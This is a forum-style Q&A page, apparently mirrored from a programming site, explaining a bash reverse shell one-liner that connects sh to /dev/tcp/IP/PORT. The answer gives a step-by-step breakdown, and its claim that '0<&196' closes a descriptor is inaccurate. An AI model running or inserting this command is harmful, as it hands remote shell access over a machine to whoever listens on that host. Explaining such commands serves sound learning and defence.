简体   繁体   中英

Linux bash reverse shell with piping

I have been trying to understand those bash commands. Can someone explain it?

0<&196;exec 196<>/dev/tcp/IP/PORT; sh <&196 >&196 2>&196

This will:

1) 0<&196 : Close the file descriptor '196' (to be used by the next command).

2) exec 196<>/dev/tcp/IP/PORT : Create a new file (/dev/tcp/IP/PORT) with the descriptor '196', if the IP and port are valid; bash will try to open a TCP connection.

3) sh <&196 >&196 2>&196 : Redirect any traffic from the IP/PORT specified in the previous command to "sh", and direct the STDOUT and STDERR to the same pipe, this way a reverse shell is created to the specified IP and commands can be run from it with the STDOUT and STDERR directed to it.

Refer to the Redirections section in the Bash reference manual.

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM